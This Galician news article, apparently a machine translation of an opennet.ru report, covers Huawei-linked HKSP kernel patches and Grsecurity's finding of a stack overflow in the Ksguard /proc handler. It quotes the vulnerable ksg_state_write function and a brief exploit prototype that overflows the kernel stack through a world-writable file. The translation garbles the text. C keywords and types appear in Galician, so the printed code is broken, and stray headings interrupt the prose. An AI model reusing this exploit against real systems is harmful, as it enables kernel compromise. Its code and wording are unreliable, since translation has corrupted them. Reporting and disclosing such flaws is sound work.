Desenvolvedores do proxecto Grsecurity
Os parches HKSP foron publicados por un empregado de Huawei, inclúen unha mención de Huawei no perfil de GitHub e usan a palabra Huawei no nome do proxecto (HKSP - Huawei Kernel Self Protection). Ao mesmo tempo, os representantes de Huawei negaron a conexión do proxecto HKSP coa empresa e afirmaron que o código foi desenvolvido por iniciativa persoal do empregado, non é un proxecto oficial de Huawei e non se usa nos produtos da empresa. Activado
HKSP inclúe cambios como a aleatorización de compensacións na estrutura cred, protección contra ataques ao espazo de nomes do identificador de usuario (espazo de nomes pid), separación da pila de procesos da área mmap, detección de chamadas dobres á función kfree, bloqueo de fugas a través do pseudo -FS /proc (/proc/ {modules, keys, key-users}, /proc/sys/kernel/* e /proc/sys/vm/mmap_min_addr, /proc/kallsyms), aleatorización de enderezos de espazo de usuario mellorada, Ptrace adicional protección, protección smap e smep mellorada, a capacidade de prohibir o envío de datos a través de sockets en bruto, bloqueando enderezos incorrectos nos sockets UDP e verificando a integridade dos procesos en execución. Tamén inclúe o módulo do núcleo Ksguard, que está dirixido a detectar intentos de introducir rootkits típicos.
Parches
Un estudo do parche realizado por desenvolvedores de Grsecurity revelou moitos erros e debilidades no código, e tamén mostrou a ausencia dun modelo de ameaza que lles permita xulgar adecuadamente as capacidades do proxecto. Para demostrar claramente que o código foi escrito sen utilizar métodos de programación seguros, dáse un exemplo dunha vulnerabilidade trivial no manejador.
ficheiro /proc/ksguard/state, que se crea cos dereitos 0777, o que implica que todos teñen acceso de escritura. A función ksg_state_write, usada para analizar os comandos escritos en /proc/ksguard/state, crea un búfer tmp[32] no que se escriben os datos en función do tamaño do operando pasado, sen ter en conta o tamaño do búfer de destino e sen comprobando o parámetro co tamaño da cadea. Eses. Para sobrescribir parte da pila do núcleo, un atacante só precisa escribir unha liña con formato especial en /proc/ksguard/state.
static ssize_t ksg_state_write (ficheiro de estrutura *ficheiro, const char __usuario *buf,
size_t len, loff_t *offset)
{
valor u64;
char tmp[32];
tamaño_t n = 0;
if (copy_from_user(tmp, buf, len))
retorno -1;
valor = simple_strtoul(tmp, '\0', 10);
...
Prototipo de explotación:
char buf[4096] = {};
int fd = open ("/proc/ksguard/state", O_WRONLY);
se (fd >= 0) {
write(fd, buf, sizeof(buf));
pechar (fd);
}
Fonte: opennet.ru